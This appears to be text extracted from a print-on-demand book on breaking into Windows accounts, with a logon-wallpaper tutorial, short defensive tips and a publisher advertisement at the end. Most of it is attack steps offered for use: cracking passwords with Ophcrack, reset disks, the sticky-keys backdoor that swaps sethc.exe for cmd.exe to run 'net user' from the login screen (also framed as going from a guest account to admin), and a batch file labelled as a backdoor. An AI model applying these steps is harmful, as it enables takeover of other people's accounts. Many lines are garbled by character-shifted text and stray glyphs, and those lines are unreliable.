Insert Ophcrack Vista Live CD to the computer.

Access to BIOS Setup Utility to Set the CD/DVDROM as the first boot device.

Press 10 to save BIOS setting and then restart


computer.


Get the password has been hacked by Ophcrack. After boot
from Ophcrack Vista Live CD, you do not need to do
anything. What you should just do is write down the
password has been hack. The user column will list the user
Ophcrack find in system. The NT Pwd column will list the
password has been found.


Resart Windows and login with the recovered password.
Press the restart button of your computer or click Menu >
Logout > Reboot system to restart computer, and then login
with the hacked password.
W 


,WdZ

^z^dD,</E'


 



Get Spower Windows Password Reset Ultimate full version
from official site.

Spower Windows Password Reset

Ultimate trial version only can list the windows user. Only
the full version can reset windows password. So we have
go get the full version to crack windows 7 admin password.


Install Spower Windows Password Reset Ultimate. Spower
Windows Password Reset Ultimate can be installed in
windows 2000 or later.


Create a Windows password hack disk with Spower
Windows Password Reset Ultimate.

Spower Windows

Password Reset Ultimate can be used to create USB or

W 


^z^dD,</E'

,WdZ

CD/DVD password hack disk. Here we create an USB


password hack disk.
x

Plug in a USB flash drive, USB pen drive or USB


hard disk.

Launch Spower Windows Password Reset Ultimate.

Select a USB drive from drop-list if more than one


USB drive is plugged in computer.

Click Burn to USB button to burn Spower Windows


Password hack program to USB drive.

After burning successfully, use this USB drive to boot the


computer which will be hacked.


Boot computer from Windows password hack disk.
x

Press BIOS Entry Key (DEL, F2 or other) to access


to the BIOS and set computer to boot from USB
drive. For more information about setting computer
to boot from USB drive, please refer to How to set
computer to boot from CD/DVD-ROM or USB
drive.

Plug in Windows password hack disk to computer.

W 


^z^dD,</E'

,WdZ

Press F10 to save BIOS setting and restart


computer.


Hack windows 7 password with Windows password hack
program.
x

Select a Windows 7 system from drop-list if you


have more than one windows system on the
computer.

Select a user you want to hack from list. Here we


select Administrator user.

Click Reset button to hack (reset) the administrator


XVHUVSDVVZRUGWREODQN

Click Reboot button to reboot computer and then


login windows 7 with new password.

With the solutions presented above, you can hack windows


7 password easily and fast.



W 


^z^dD,</E'

,WdZ

How to Hack Admin Password from


Guest Account
Step1
Go to C:\windows\system32 Copy cmd.exe on your
desktop
Step2
Rename it to sethc.exe. Now copy that file and paste again
in system32 directory. When windows ask for overwriting
the file, then click yes.
Note: for windows7 follow the upcoming steps
Step3
Go to this location C:\windows\system32
Right click on sethc.exe and run as administrator.

W 


,WdZ

^z^dD,</E'



Right click on sethc.exe, Click on properties then click
security tab And Click on Advanced tab


W 


^z^dD,</E'

,WdZ

Now Select your Current user and click on Change


Permissions


Now Click on Edit


Now Click on Full Control Check Box and Click OK
W 


,WdZ

^z^dD,</E'



Copy the New sethc.exe to system32, and click copy and
replace


Now Restart your PC
W 


^z^dD,</E'

,WdZ

Resetting the Password


Once you get to the login screen, hit the Shift key 5 times,
DQG\RXOOVHHDQDGPLQLVWUDWRUPRGHFRPPDQGSURPSW
Now to reset the password just type the following
command, replacing the username and password with the
combination you want:

Command: net user account name *
Example: net user SIMON *
And hit enter then set your new password for that account
and login in with your new password

W 


^z^dD,</E'

,WdZ

How to Reset Your Forgotten Windows


Password
Forgetting your password is never any fun, but luckily
WKHUHV D UHDOO\ HDV\ ZD\ WR UHVHW WKH SDVVZRUG $OO \RX
need is a copy of the Windows installation disk and one
simple command line trick.

Step1
%RRW RII WKH :LQGRZV GLVN DQG VHOHFW WKH 5HSDLU \RXU
FRPSXWHURSWLRQIURPWKHORZHUOHIW-hand corner.

Step2
Follow through until you get to the option to open the
&RPPDQG3URPSWZKLFK\RXOOZDQWWRVHOHFW

Step3
First you will want to type in the following command to
backup the original sticky keys file:
copy c:\windows\system32\sethc.exe c:\

W 


^z^dD,</E'

,WdZ

Then you will copy the command prompt executable


(cmd.exe) over top of the sticky keys executable:
copy c:\windows\system32\cmd.exe
c:\windows\system32\sethc.exe

Step4
Now you can reboot the PC.
Step5
Once you get to the login screen, hit the Shift key 5 times,
and you will see an administrator mode command prompt.

Step6
E


NET USER SIMON DUMMYPASSWORD


W 


^z^dD,</E'

,WdZ

How to Reset Your Forgotten Windows


Password Using Batch Programming
Step1
Type the following code on your notepad
cd\
c:
cd windows
cd system32
copy cmd.exe d:
cd\
d:
ren cmd.exe sethc.exe
c:
cd\
cd windows
cd system32
ren sethc.exe my.exe
cd\

W 


^z^dD,</E'

,WdZ

d:
copy sethc.exe C:\Windows\System32
@echo Backdoor Created by Anto.Y
@echo Now you can change your password via CMD
NET USER *
Pause
Step2
Save it as Password_reset.bat
Step3
Run the batch program

W 


^z^dD,</E'

,WdZ

How to Change Windows 7 Logon Screen



Let's start identifying the Windows 7 logon background in
the Windows system folders. Windows 7 login background
resides in OOBE file folder. You can find the OOBE folder
in System32 subfolder of Windows installation folder. The
default path is as follows if you did not change the default
Windows 7 installation folder.
C:\Windows\System32\oobe\
And within the oobe folder you will notice the logon
background.bmp wallpaper image. This default logon
screen image is in 1024 x 768 pixels size.
W 


^z^dD,</E'

,WdZ

We can also use .jpeg images instead of using .bmp bitmap


images for Windows 7 logon wallpaper without using a
Windows 7 Logon Changer application.


Unfortunately changing logon screen image is not as easy
as just renaming the default background wallpaper and
copy a new background image into the oobe folder.
If you try to rename the default login screen image
background.bmp, the following error message will stop you
continue to change the screen background.
File Access Denied
W 


^z^dD,</E'

,WdZ

You need permission to perform this action.


You require permission from TrustedInstaller to make
changes to this file.


We will not continue to find a way to change this protected
background image. There is a work-around which will
enable us change the Windows 7 logon background through
Windows Registry. To start the Windows 7 Registry Editor,
type regedit in the Windows 7 start menu search text area
and press Enter. Even while typing the word regedit,
Windows 7 will list the regedit Registry Editor Windows 7
tool in the Programs list.

W 


,WdZ

^z^dD,</E'


Click on the RegEdit to start the Registry Editor Window 7


tool for editing windows registry settings which will let us
change the login screen background.


The User Account Control (UAC) we are familiar from
Windows Vista will ask permission to execute the Registy
Editor program. We will click on the "Yes" button in order
to allow the Windows Registry tool to make the required
registry changes.



W 


^z^dD,</E'

,WdZ

Location path
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Micr
osoft\Windows\CurrentVersion\Authentication\LogonUI\B
ackground
If there is already an OEMBackground DWORD entry
within the Windows 7 Background registry key, set the
value of OEMBackground DWORD entry to 1. If not
exists, select new DWORD by a right click and in the
displayed context menu. Set the name to OEMBackground
and its value to 1 as shown in the below screenshot.



W 


^z^dD,</E'

,WdZ

Now after changing the LogonUI and OEMBackground,


we are finished with the Win7 registry. You can now close
the registry tool. The next step is creating a folder to store
the wallpaper and background images which we will use to
change shutdown background for Windows7. Open the
Oobe folder again. If you forget the folder path it is in the
System32 Windows 7 install folder.
x

Now create a new file folder named Info in the oobe


folder.

You need to confirm this operation by selecting


Continue button.

Then create a second folder backgrounds, this time within


the recent created folder info. Windows7 will request your
confirmation for this operation too.
We are now at the last step to change Windows 7 logon
background. Rename the image which you want to use as
logon background as backgrounddefault.jpg. And copy and
paste the background wallpaper backgrounddefault.jpg to
the backgrounds file folder which resides in "\oobe\info".
Of course you have to confirm this operation too.

W 


^z^dD,</E'

,WdZ


After completing all above steps to change Windows 7
logon screen image, we are ready to test if we were
successful in changing logon background. Simply click on
the Start button then select Lock command for instance.
Here is my new Windows 7 logon wallpaper, Star Trek
background image which I could change shutdown
background without using Windows 7 logon changer tools.

W 


^z^dD,</E'

,WdZ

Secure your Computer by Sticky Key


Attack
1. &KHFNIRUVWLFN\NH\EDFNGRRU%\SUHVVLQJVWLFN\
NH\WLPHVRQORJLQVFUHHQZKHQHYHU\RXWXUQRQ
the computer.
2. Turn off the sticky Keys.
Or
3. <RX FDQ XVH WKLV VWHS WR GLVDEOH WKH QHW XVHU
command, so that if anybody make a backdoor in
\RXUV\VWHPEXWKHFDQWFKDQJH\RXUSDVVZRUG
I.
II.

Open the folder c:\windows\system32


6HDUFKIRU1HWH[HRYHUWKHUHDQGUHSODFHLWZLWK
FPGH[HRUZLWKDQ\RWKHUH[HILOH

III.

Open the file by inserting this


C:\Windows\winsxs\x86_microsoft-windows-netcommand-line
tool_31bf3856ad364e35_6.1.7600.16385_none_520
8a7a3d3caa54c on file browser manually and
FKDQJHWKHQHWH[HZLWKFPGH[HRUDQ\RWKHU
H[HILOH

W 


^z^dD,</E'

,WdZ

How to secure your windows by using two


step verification
1. Open Run Dialog box type syskey


2. Click on Update
3. Click on Password Startup and Type your Password

W 


,WdZ

^z^dD,</E'



4. Click ok and restart your system to take effect

W 


Buy your books fast and straightforward online - at one of worlds


fastest growing online book stores! Environmentally sound due to
Print-on-Demand technologies.

Buy your books online at

www.get-morebooks.com
Kaufen Sie Ihre Bcher schnell und unkompliziert online auf einer
der am schnellsten wachsenden Buchhandelsplattformen weltweit!
Dank Print-On-Demand umwelt- und ressourcenschonend produziert.

Bcher schneller online kaufen

www.morebooks.de
VDM Verlagsservicegesellschaft mbH
Heinrich-Bcking-Str. 6-8
D - 66121 Saarbrcken

Telefon: +49 681 3720 174


Telefax: +49 681 3720 1749

info@vdm-vsg.de
www.vdm-vsg.de

You might also like